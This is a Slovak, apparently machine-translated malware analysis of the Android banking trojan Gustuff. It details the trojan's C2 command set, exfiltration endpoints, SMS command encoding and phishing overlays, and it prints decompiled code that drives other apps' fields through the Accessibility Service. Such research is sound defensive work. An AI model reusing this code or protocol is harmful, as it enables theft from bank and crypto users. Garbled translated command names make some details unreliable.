Ako Android Trojan Gustuff zbiera smotanu (fiat a krypto) z vašich účtov

Ako Android Trojan Gustuff zbiera smotanu (fiat a krypto) z vašich účtov

Práve druhý deň Skupina IB informovaný o aktivite mobilného Androidu Trojan Gustuff. Funguje výhradne na medzinárodných trhoch a útočí na klientov 100 najväčších zahraničných bánk, používateľov mobilných 32 krypto peňaženiek, ako aj veľké zdroje elektronického obchodu. Ale vývojár Gustuff je rusky hovoriaci kyberzločinec pod prezývkou Bestoffer. Až donedávna chválil svojho trójskeho koňa ako „seriózny produkt pre ľudí so znalosťami a skúsenosťami“.

Špecialista na analýzu škodlivého kódu v Group-IB Ivan Pisarev vo svojom výskume podrobne hovorí o tom, ako Gustuff funguje a aké sú jeho nebezpečenstvá.

Na koho Gustuff poľuje?

Gustuff patrí k novej generácii malvéru s plne automatizovanými funkciami. Podľa vývojára sa trójsky kôň stal novou a vylepšenou verziou malvéru AndyBot, ktorý od novembra 2017 útočí na telefóny s Androidom a kradne peniaze prostredníctvom phishingových webových formulárov vydávajúcich sa za mobilné aplikácie známych medzinárodných bánk a platobných systémov. Bestoffer uviedol, že cena prenájmu Gustuff Bot bola 800 dolárov mesačne.

Analýza vzorky Gustuff ukázala, že trójsky kôň sa potenciálne zameriava na zákazníkov využívajúcich mobilné aplikácie najväčších bánk, ako sú Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, ako aj kryptopeňaženky. Bitcoinová peňaženka, BitPay, Cryptopay, Coinbase atď.

Gustuff, pôvodne vytvorený ako klasický bankový trójsky kôň, v súčasnej verzii výrazne rozšíril zoznam potenciálnych cieľov útoku. Okrem Android aplikácií pre banky, fintech spoločnosti a krypto služby je Gustuff zameraný na používateľov aplikácií na trhu, online obchodov, platobných systémov a instant messengerov. Najmä PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut a ďalšie.

Vstupný bod: výpočet pre hromadnú infekciu

Gustuff sa vyznačuje „klasickým“ vektorom prieniku do smartfónov s Androidom prostredníctvom SMS správ s odkazmi na súbory APK. Keď je zariadenie so systémom Android infikované trójskym koňom na príkaz servera, Gustuff sa môže ďalej šíriť cez databázu kontaktov infikovaného telefónu alebo cez databázu servera. Funkcionalita Gustuff je navrhnutá pre masovú infekciu a maximálnu kapitalizáciu podnikania jej operátorov – má jedinečnú funkciu „automatického dopĺňania“ do legitímnych aplikácií mobilného bankovníctva a kryptopeňaženiek, čo vám umožňuje urýchliť a zväčšiť krádež peňazí.

Štúdia trójskeho koňa ukázala, že funkcia automatického dopĺňania v ňom bola implementovaná pomocou služby dostupnosti, služby pre ľudí so zdravotným postihnutím. Gustuff nie je prvým trójskym koňom, ktorý úspešne obišiel ochranu proti interakcii s okennými prvkami iných aplikácií využívajúcich túto službu Android. Využitie služby dostupnosti v kombinácii s autoplnkou je však stále pomerne zriedkavé.

Po stiahnutí do telefónu obete je Gustuff pomocou služby prístupnosti schopný interagovať s prvkami okna iných aplikácií (bankovníctvo, kryptomena, ako aj aplikácie na online nakupovanie, posielanie správ atď.) a vykonávať potrebné akcie pre útočníkov. . Napríklad na príkaz servera môže trójsky kôň stláčať tlačidlá a meniť hodnoty textových polí v bankových aplikáciách. Použitie mechanizmu Accessibility Service umožňuje trójskemu koňovi obísť bezpečnostné mechanizmy používané bankami na boj proti predchádzajúcej generácii mobilných trójskych koní, ako aj zmeny v bezpečnostnej politike implementovanej spoločnosťou Google v nových verziách operačného systému Android. Gustuff teda „vie, ako“ vypnúť ochranu Google Protect: podľa autora táto funkcia funguje v 70% prípadov.

Ako Android Trojan Gustuff zbiera smotanu (fiat a krypto) z vašich účtov

Gustuff dokáže zobrazovať aj falošné PUSH notifikácie s ikonami legitímnych mobilných aplikácií. Používateľ klikne na upozornenie PUSH a zobrazí sa mu phishingové okno stiahnuté zo servera, kde zadá požadované údaje o bankovej karte alebo kryptopeňaženke. V inom scenári Gustuff sa otvorí aplikácia, v mene ktorej sa zobrazilo oznámenie PUSH. V tomto prípade môže malvér na príkaz zo servera prostredníctvom služby dostupnosti vyplniť polia formulára bankovej aplikácie pre podvodnú transakciu.

Funkcionalita Gustuff zahŕňa aj odosielanie informácií o infikovanom zariadení na server, možnosť čítať/odosielať SMS správy, odosielať požiadavky USSD, spúšťať SOCKS5 Proxy, sledovať odkaz, odosielať súbory (vrátane skenov fotografií dokumentov, snímok obrazovky, fotografií) na server, resetujte zariadenie na výrobné nastavenia.

Analýza škodlivého softvéru

Pred inštaláciou škodlivej aplikácie operačný systém Android používateľovi zobrazí okno so zoznamom práv požadovaných Gustuffom:

Ako Android Trojan Gustuff zbiera smotanu (fiat a krypto) z vašich účtov
Aplikácia bude nainštalovaná až po získaní súhlasu používateľa. Po spustení aplikácie trójsky kôň zobrazí používateľovi okno:

Ako Android Trojan Gustuff zbiera smotanu (fiat a krypto) z vašich účtov
Potom svoju ikonu odstráni.

Gustuff je podľa autora balený baličom z FTT. Po spustení aplikácia pravidelne kontaktuje CnC server, aby prijala príkazy. Niekoľko súborov, ktoré sme skúmali, používalo ako riadiaci server IP adresu 88.99.171[.]105 (ďalej to budeme označovať ako <%CnC%>).

Po spustení začne program odosielať správy na server http://<%CnC%>/api/v1/get.php.

Očakáva sa, že odpoveď bude JSON v nasledujúcom formáte:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Pri každom prístupe k aplikácii odošle informácie o infikovanom zariadení. Formát správy je uvedený nižšie. Stojí za zmienku, že polia Plný, ďalšie, aplikácie и povolenie – voliteľné a budú odoslané iba v prípade príkazu požiadavky z CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Ukladanie konfiguračných údajov

Gustuff ukladá prevádzkovo dôležité informácie do súboru preferencií. Názov súboru, ako aj názvy parametrov v ňom, sú výsledkom výpočtu súčtu MD5 z reťazca 15413090667214.6.1<%name%>Kde <%name%> — počiatočný názov-hodnota. Pythonová interpretácia funkcie generovania názvu:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

V nasledujúcom budeme označovať ako nameGenerator (vstup).
Takže prvý názov súboru je: nameGenerator("API_SERVER_LIST"), obsahuje hodnoty s nasledujúcimi názvami:

Názov premennej Hodnota
nameGenerator("API_SERVER_LIST") Obsahuje zoznam CnC adries vo forme poľa.
nameGenerator("API_SERVER_URL") Obsahuje adresu CNC.
nameGenerator("SMS_UPLOAD") Príznak je štandardne nastavený. Ak je nastavený príznak, odosiela SMS správy do CnC.
nameGenerator("SMS_ROOT_NUMBER") Telefónne číslo, na ktoré sa budú odosielať SMS správy prijaté infikovaným zariadením. Predvolená hodnota je null.
nameGenerator("SMS_ROOT_NUMBER_RESEND") Príznak je štandardne vymazaný. Ak je nainštalovaný, keď infikované zariadenie dostane SMS, odošle sa na koreňové číslo.
nameGenerator("DEFAULT_APP_SMS") Príznak je štandardne vymazaný. Ak je tento príznak nastavený, aplikácia bude spracovávať prichádzajúce SMS správy.
nameGenerator("DEFAULT_ADMIN") Príznak je štandardne vymazaný. Ak je príznak nastavený, aplikácia má práva správcu.
nameGenerator("DEFAULT_ACCESSIBILITY") Príznak je štandardne vymazaný. Ak je nastavený príznak, je spustená služba využívajúca službu dostupnosti.
nameGenerator("APPS_CONFIG") Objekt JSON, ktorý obsahuje zoznam akcií, ktoré sa musia vykonať, keď sa spustí udalosť dostupnosti priradená ku konkrétnej aplikácii.
nameGenerator("APPS_INSTALLED") Ukladá zoznam aplikácií nainštalovaných v zariadení.
nameGenerator("IS_FIST_RUN") Vlajka sa resetuje pri prvom spustení.
nameGenerator("UNIQUE_ID") Obsahuje jedinečný identifikátor. Generuje sa pri prvom spustení robota.

Modul na spracovanie príkazov zo servera

Aplikácia ukladá adresy CnC serverov vo forme poľa kódovaného pomocou Base85 linky. Zoznam CnC serverov je možné zmeniť po prijatí príslušného príkazu, v takom prípade budú adresy uložené v súbore preferencií.

Ako odpoveď na požiadavku server odošle príkaz do aplikácie. Stojí za zmienku, že príkazy a parametre sú prezentované vo formáte JSON. Aplikácia dokáže spracovať nasledujúce príkazy:

Tím Popis
dopreduŠtart Začnite odosielať SMS správy prijaté infikovaným zariadením na server CnC.
vpredStop Zastavte odosielanie SMS správ prijatých infikovaným zariadením na server CnC.
ussdRun Vykonajte požiadavku USSD. Číslo, na ktoré musíte zadať požiadavku USSD, sa nachádza v poli JSON „číslo“.
poslaťSms Pošlite jednu SMS správu (v prípade potreby sa správa „rozdelí“ na časti). Ako parameter príkaz berie objekt JSON obsahujúci polia „to“ – cieľové číslo a „body“ – telo správy.
odoslaťSmsAb Posielajte SMS správy (v prípade potreby sa správa „rozdelí“ na časti) všetkým v zozname kontaktov infikovaného zariadenia. Interval medzi odoslaním správ je 10 sekúnd. Telo správy je v JSON poli "body"
odoslaťSmsMass Posielajte SMS správy (v prípade potreby sa správa „rozdelí“ na časti) na kontakty uvedené v parametroch príkazu. Interval medzi odoslaním správ je 10 sekúnd. Ako parameter príkaz berie pole JSON (pole „sms“), ktorého prvky obsahujú polia „to“ – cieľové číslo a „telo“ – telo správy.
changeServer Tento príkaz môže nadobudnúť hodnotu s kľúčom „url“ ako parametrom – potom bot zmení hodnotu nameGenerator(“SERVER_URL”) alebo „pole” – potom bot zapíše pole do nameGenerator (“API_SERVER_LIST”) Aplikácia teda zmení adresu CNC serverov.
adminNumber Príkaz je navrhnutý tak, aby pracoval s koreňovým číslom. Príkaz akceptuje objekt JSON s nasledujúcimi parametrami: “number” — zmena nameGenerator(“ROOT_NUMBER”) na prijatú hodnotu, “reend” — zmena nameGenerator(“SMS_ROOT_NUMBER_RESEND”), “sendId” — odoslanie nameGenerator(“ROOT_NUMBER” ) unikátne ID.
Aktualizovať informácie Odoslať informácie o infikovanom zariadení na server.
vymazať dáta Príkaz je určený na vymazanie používateľských údajov. V závislosti od toho, pod akým názvom bola aplikácia spustená, sa údaje buď úplne vymažú pri reštarte zariadenia (primárny používateľ), alebo sa vymažú iba používateľské údaje (sekundárny používateľ).
ponožkyŠtart Spustite modul Proxy. Činnosť modulu je popísaná v samostatnej časti.
ponožkyStop Zastavte modul proxy.
otvoriť odkaz Postupujte podľa odkazu. Odkaz sa nachádza v parametri JSON pod kľúčom „url“. Na otvorenie odkazu sa používa „android.intent.action.VIEW“.
uploadAllSms Pošlite všetky SMS správy prijaté zariadením na server.
uploadAllPhotos Odoslať obrázky z infikovaného zariadenia na adresu URL. Adresa URL prichádza ako parameter.
Nahrajte súbor Odoslať súbor na adresu URL z infikovaného zariadenia. Adresa URL prichádza ako parameter.
nahraťTelefónne čísla Odošlite telefónne čísla zo zoznamu kontaktov na server. Ak je ako parameter prijatá hodnota objektu JSON s kľúčom „ab“, aplikácia dostane zoznam kontaktov z telefónneho zoznamu. Ak je ako parameter prijatý JSON objekt s kľúčom „sms“, aplikácia načíta zoznam kontaktov od odosielateľov SMS správ.
zmenaArchiv Aplikácia stiahne súbor z adresy, ktorá prichádza ako parameter pomocou kľúča „url“. Stiahnutý súbor sa uloží pod názvom „archive.zip“. Aplikácia potom súbor rozbalí, voliteľne s použitím archívneho hesla „b5jXh37gxgHBrZhQ4j3D“. Rozbalené súbory sa uložia do adresára [external storage]/hgps. V tomto adresári aplikácia ukladá webové falzifikáty (popísané nižšie).
akcie Príkaz je navrhnutý tak, aby spolupracoval so službou Action Service, ktorá je popísaná v samostatnej časti.
test Ničnerobenie.
Stiahnuť ▼ Príkaz je určený na stiahnutie súboru zo vzdialeného servera a jeho uloženie do adresára „Downloads“. Adresa URL a názov súboru prichádzajú ako parameter, polia v objekte parametra JSON: „url“ a „fileName“.
odstrániť Odstráni súbor z adresára "Downloads". Názov súboru sa nachádza v parametri JSON s kľúčom „fileName“. Štandardný názov súboru je „tmp.apk“.
oznámenia Zobrazte upozornenie s popisom a nadpismi, ktoré definoval server správy.

Formát príkazu oznámenia:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Oznámenie generované vyšetrovaným súborom vyzerá identicky s oznámeniami generovanými aplikáciou špecifikovanou v poli aplikácie. Ak je hodnota poľa openApp — Pravda, po otvorení upozornenia sa spustí aplikácia uvedená v poli aplikácie. Ak je hodnota poľa openApp — Nepravda, potom:

  • Otvorí sa phishingové okno, ktorého obsah sa stiahne z adresára <%externé úložisko%>/hgps/<%filename%>
  • Otvorí sa phishingové okno, ktorého obsah sa stiahne zo servera <%url%>?id=<%Bot id%>&app=<%Application name%>
  • Otvorí sa phishingové okno maskované ako karta Google Play s možnosťou zadať podrobnosti o karte.

Aplikácia odošle výsledok ľubovoľného príkazu na <%CnC%>set_state.php ako objekt JSON v nasledujúcom formáte:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActionsService
Zoznam príkazov, ktoré aplikácia spracováva akčná. Keď je prijatý príkaz, modul spracovania príkazov pristupuje k tejto službe, aby vykonal rozšírený príkaz. Služba akceptuje objekt JSON ako parameter. Služba môže vykonávať nasledujúce príkazy:

1. PARAMS_ACTION — pri prijatí takéhoto príkazu služba najprv prijme z parametra JSON hodnotu kľúča Type, ktorá môže byť nasledovná:

  • servisné informácie – čiastkový príkaz získa hodnotu kľúčom z parametra JSON zahrnúťNie je dôležité. Ak je príznak True, nastaví ho aplikácia FLAG_ISOLATED_PROCESS na službu využívajúcu Službu dostupnosti. Týmto spôsobom bude služba spustená v samostatnom procese.
  • koreň — prijímať a odosielať na server informácie o okne, ktoré je momentálne aktívne. Aplikácia získava informácie pomocou triedy AccessibilityNodeInfo.
  • admin — požiadať o práva správcu.
  • oneskorenie — pozastaviť ActionsService na počet milisekúnd špecifikovaný v parametri pre kľúč „data“.
  • okná — odoslať zoznam okien viditeľných používateľovi.
  • inštalovať — nainštalovať aplikáciu do infikovaného zariadenia. Názov archívneho balíka je v kľúči „fileName“. Samotný archív sa nachádza v adresári Downloads.
  • celkovo – čiastkový príkaz je určený na navigáciu z aktuálneho okna:
    • v ponuke Rýchle nastavenia
    • pred
    • Domov
    • na upozornenia
    • do okna nedávno otvorených aplikácií

  • začať - spustiť aplikáciu. Názov aplikácie prichádza ako parameter podľa kľúča data.
  • zvuky — zmeňte režim zvuku na ticho.
  • odomknúť — zapne podsvietenie obrazovky a klávesnice na plný jas. Aplikácia vykoná túto akciu pomocou funkcie WakeLock, pričom ako značku uvedie reťazec [Application lable]:INFO
  • povoleniePrekrytie — funkcia nie je implementovaná (odpoveď na vykonanie príkazu je {"message":"Not support"} alebo {"message":"low sdk"})
  • gesto — funkcia nie je implementovaná (odpoveď na vykonanie príkazu je {"message":"Not support"}alebo {"message":"Low API"})
  • oprávnenia — tento príkaz je potrebný na vyžiadanie povolení pre aplikáciu. Funkcia dotazu však nie je implementovaná, takže príkaz nemá zmysel. Zoznam požadovaných práv prichádza ako pole JSON s kľúčom „povolenia“. Štandardný zoznam:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • otvoriť — zobraziť phishingové okno. V závislosti od parametra prichádzajúceho zo servera môže aplikácia zobrazovať nasledujúce phishingové okná:
    • Zobraziť phishingové okno, ktorého obsah je zapísaný v súbore v adresári <%externý adresár%>/hgps/<%param_filename%>. Výsledok interakcie používateľa s oknom bude odoslaný na <%CnC%>/records.php
    • Zobraziť phishingové okno, ktorého obsah je vopred načítaný z adresy <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Výsledok interakcie používateľa s oknom bude odoslaný na <%CnC%>/records.php
    • Zobrazte okno na neoprávnené získavanie údajov zamaskované ako karta Google Play.

  • interaktívne — príkaz je navrhnutý tak, aby interagoval s prvkami okna iných aplikácií pomocou AcessibilityService. V programe bola implementovaná špeciálna služba pre interakciu. Skúmaná aplikácia môže interagovať s oknami:
    • Aktuálne aktívne. V tomto prípade parameter obsahuje id alebo text (názov) objektu, s ktorým potrebujete interagovať.
    • Viditeľné pre používateľa v čase vykonania príkazu. Aplikácia vyberá okná podľa ID.

    Po prijatí predmetov AccessibilityNodeInfo V prípade požadovaných prvkov okna môže aplikácia v závislosti od parametrov vykonať nasledujúce akcie:

    • fokus — nastavenie fokusu na objekt.
    • kliknutie — kliknutie na objekt.
    • actionId — vykonanie akcie podľa ID.
    • setText — zmena textu objektu. Zmena textu je možná dvoma spôsobmi: vykonaním akcie ACTION_SET_TEXT (ak je verzia infikovaného zariadenia pre Android mladšia alebo rovná LÍZANKA), alebo umiestnením reťazca do schránky a jeho vložením do objektu (pre staršie verzie). Tento príkaz je možné použiť na zmenu údajov v bankovej aplikácii.

2. PARAMS_ACTIONS - rovnaké ako PARAMS_ACTION, prichádza iba pole príkazov JSON.

Zdá sa, že mnohých bude zaujímať, ako vyzerá funkcia interakcie s okennými prvkami inej aplikácie. Takto je táto funkcia implementovaná v Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Funkcia nahradenia textu:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Pri správnej konfigurácii riadiaceho servera je teda Gustuff schopný vyplniť textové polia v bankovej aplikácii a kliknúť na tlačidlá potrebné na dokončenie transakcie. Trójsky kôň sa do aplikácie ani nemusí prihlasovať – stačí odoslať príkaz na zobrazenie PUSH notifikácie a následne otvoriť predtým nainštalovanú bankovú aplikáciu. Používateľ sa autentifikuje, po čom bude môcť Gustuff naplniť auto.

Modul spracovania SMS správ

Aplikácia nainštaluje obslužnú rutinu udalosti pre infikované zariadenie na prijímanie SMS správ. Študovaná aplikácia môže prijímať príkazy od operátora, ktoré prichádzajú v tele SMS správy. Príkazy prichádzajú vo formáte:

7!5=<kódovaný príkaz %Base64%>

Aplikácia hľadá reťazec vo všetkých prichádzajúcich SMS správach 7!5=, keď je detekovaný reťazec, dekóduje reťazec z Base64 na offset 4 a vykoná príkaz. Príkazy sú podobné ako pri CnC. Výsledok vykonania sa odošle na rovnaké číslo, z ktorého prišiel príkaz. Formát odpovede:

7*5=<%Base64 kódovanie “príkazu_kódu výsledku”%>

Voliteľne môže aplikácia posielať všetky prijaté správy na Root číslo. Aby ste to dosiahli, musí byť v súbore preferencií špecifikované číslo koreňa a musí byť nastavený príznak presmerovania správy. Na číslo útočníka sa odošle SMS správa v tvare:

<%From number%> - <%Time, format: dd/MM/yyyy HH:mm:ss%> <%SMS body%>

Voliteľne môže aplikácia posielať správy do CnC. SMS správa je odoslaná na server vo formáte JSON:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Ak je nastavený príznak nameGenerator("DEFAULT_APP_SMS") – aplikácia prestane spracovávať SMS správu a vymaže zoznam prichádzajúcich správ.

Proxy modul

Spracovaná aplikácia obsahuje modul Backconnect Proxy (ďalej len modul Proxy), ktorý má samostatnú triedu, ktorá obsahuje statické polia s konfiguráciou. Konfiguračné údaje sú uložené vo vzorke v prehľadnej forme:

Ako Android Trojan Gustuff zbiera smotanu (fiat a krypto) z vašich účtov

Všetky akcie vykonávané modulom Proxy sa zaznamenávajú do súborov. Na tento účel aplikácia v externom úložisku vytvorí adresár s názvom „logs“ (pole ProxyConfigClass.logsDir v konfiguračnej triede), v ktorom sú uložené protokolové súbory. Prihlasovanie prebieha do súborov s názvami:

  1. main.txt – do tohto súboru je prihlásená práca triedy s názvom CommandServer. V nasledujúcom texte bude protokolovanie reťazca str do tohto súboru označené ako mainLog(str).
  2. session-<%id%>.txt — tento súbor ukladá údaje denníka spojené s konkrétnou reláciou proxy. V nasledujúcom texte bude protokolovanie reťazca str do tohto súboru označené ako sessionLog (str).
  3. server.txt – tento súbor sa používa na zaznamenávanie všetkých údajov zapísaných do vyššie opísaných súborov.

Formát údajov denníka:

<%Date%> [Vlákno[<%thread id%>], id[]]: log-string

Výnimky, ktoré sa vyskytnú počas prevádzky modulu Proxy, sa tiež zaznamenávajú do súboru. Na tento účel aplikácia vygeneruje objekt JSON v nasledujúcom formáte:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Potom ho skonvertuje na reťazcovú reprezentáciu a zaprotokoluje.

Proxy modul sa spustí po prijatí príslušného príkazu. Po prijatí príkazu na spustenie modulu Proxy aplikácia spustí službu, ktorá sa volá MainService, ktorá je zodpovedná za riadenie chodu modulu Proxy – jeho spúšťanie a zastavovanie.

Etapy spustenia služby:

1. Spustí časovač, ktorý beží raz za minútu a kontroluje aktivitu modulu Proxy. Ak modul nie je aktívny, spustí ho.
Aj pri spustení udalosti android.net.conn.CONNECTIVITY_CHANGE Spustí sa modul Proxy.

2. Aplikácia vytvorí prebudenie s parametrom PARTIAL_WAKE_LOCK a chytí ho. Toto bráni CPU zariadenia prejsť do režimu spánku.

3. Spustí triedu spracovania príkazov modulu Proxy, pričom najprv zaznamená linku mainLog("štart server") и

Server::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

kde proxy_cnc, command_port a proxy_port – parametre získané z konfigurácie proxy servera.

Zavolá sa trieda spracovania príkazov CommandConnection. Ihneď po spustení vykoná nasledujúce akcie:

4. Pripojí sa k ProxyConfigClass.host: ProxyConfigClass.commandPort a odošle tam údaje o infikovanom zariadení vo formáte JSON:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Kde:

  • id – identifikátor, pokúša sa získať hodnotu s poľom „id“ zo súboru zdieľaných preferencií s názvom „x“. Ak sa túto hodnotu nepodarilo získať, vygeneruje novú. Proxy modul má teda svoj vlastný identifikátor, ktorý sa generuje podobne ako Bot ID.
  • imei — IMEI zariadenia. Ak sa počas procesu získavania hodnoty vyskytla chyba, namiesto tohto poľa sa vypíše chybové hlásenie.
  • imsi — medzinárodná identita mobilného predplatiteľa zariadenia. Ak sa počas procesu získavania hodnoty vyskytla chyba, namiesto tohto poľa sa vypíše chybové hlásenie.
  • model — Názov konečného produktu viditeľný pre koncového používateľa.
  • výrobca — Výrobca produktu/hardvéru (Build.MANUFACTURER).
  • androidVersion – reťazec vo formáte "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • krajina — aktuálna poloha zariadenia.
  • partnerId je prázdny reťazec.
  • packageName – názov balíka.
  • networkType — typ aktuálneho sieťového pripojenia (príklad: “WIFI”, “MOBILE”). V prípade chyby vráti hodnotu null.
  • hasGsmSupport – true – ak telefón podporuje GSM, inak false.
  • simReady – stav SIM karty.
  • simCountry - ISO kód krajiny (podľa poskytovateľa SIM karty).
  • networkOperator — meno operátora. Ak sa počas procesu získavania hodnoty vyskytla chyba, namiesto tohto poľa sa vypíše chybové hlásenie.
  • simOperator — Názov poskytovateľa služieb (SPN). Ak sa počas procesu získavania hodnoty vyskytla chyba, namiesto tohto poľa sa vypíše chybové hlásenie.
  • verzia - toto pole je uložené v triede config, pre testované verzie robota sa rovnalo „1.6“.

5. Prepne do režimu čakania na príkazy zo servera. Príkazy zo servera prichádzajú vo formáte:

  • 0 offset – príkaz
  • 1 posun – sessionId
  • 2 odsadenie – dĺžka
  • 4 offset - údaj

Keď príde príkaz, aplikácia zaznamená:
mainLog("Hlavička { sessionId<%id%>], typ[<%command%>], dĺžka[<%length%>] }")

Nasledujúce príkazy zo servera sú možné:

Meno povel dátum Popis
connectionId 0 ID pripojenia Vytvorte nové pripojenie
SLEEP 3 čas Pozastavte modul proxy
STOLNÝ TENIS 4 - Odoslať PONG správu

PONG správa pozostáva zo 4 bajtov a vyzerá takto: 0x04000000.

Po prijatí príkazu connectionId (na vytvorenie nového pripojenia) CommandConnection vytvorí inštanciu triedy ProxyConnection.

  • Na proxy serveri sa podieľajú dve triedy: ProxyConnection и koniec. Pri vytváraní triedy ProxyConnection pripojenie k adrese ProxyConfigClass.host: ProxyConfigClass.proxyPort a odovzdanie objektu JSON:

 {
    "id":<%connectionId%>
}

V odpovedi server odošle správu SOCKS5, ktorá obsahuje adresu vzdialeného servera, s ktorým sa musí nadviazať spojenie. Interakcia s týmto serverom prebieha prostredníctvom triedy koniec. Nastavenie pripojenia môže byť schematicky znázornené nasledovne:

Ako Android Trojan Gustuff zbiera smotanu (fiat a krypto) z vašich účtov

Sieťové interakcie

Aby sa zabránilo analýze prevádzky sieťovými sniffermi, interakcia medzi serverom CnC a aplikáciou môže byť chránená pomocou protokolu SSL. Všetky prenášané údaje zo servera a na server sú prezentované vo formáte JSON. Aplikácia počas prevádzky vykonáva nasledujúce požiadavky:

  • http://<%CnC%>/api/v1/set_state.php — výsledok vykonania príkazu.
  • http://<%CnC%>/api/v1/get.php — prijatie príkazu.
  • http://<%CnC%>/api/v1/load_sms.php — sťahovanie SMS správ z infikovaného zariadenia.
  • http://<%CnC%>/api/v1/load_ab.php — odovzdanie zoznamu kontaktov z infikovaného zariadenia.
  • http://<%CnC%>/api/v1/aevents.php – požiadavka sa odošle pri aktualizácii parametrov umiestnených v súbore preferencií.
  • http://<%CnC%>/api/v1/set_card.php — nahrávanie údajov získaných pomocou phishingového okna, ktoré sa vydáva za Google Play Market.
  • http://<%CnC%>/api/v1/logs.php – nahrávanie údajov denníka.
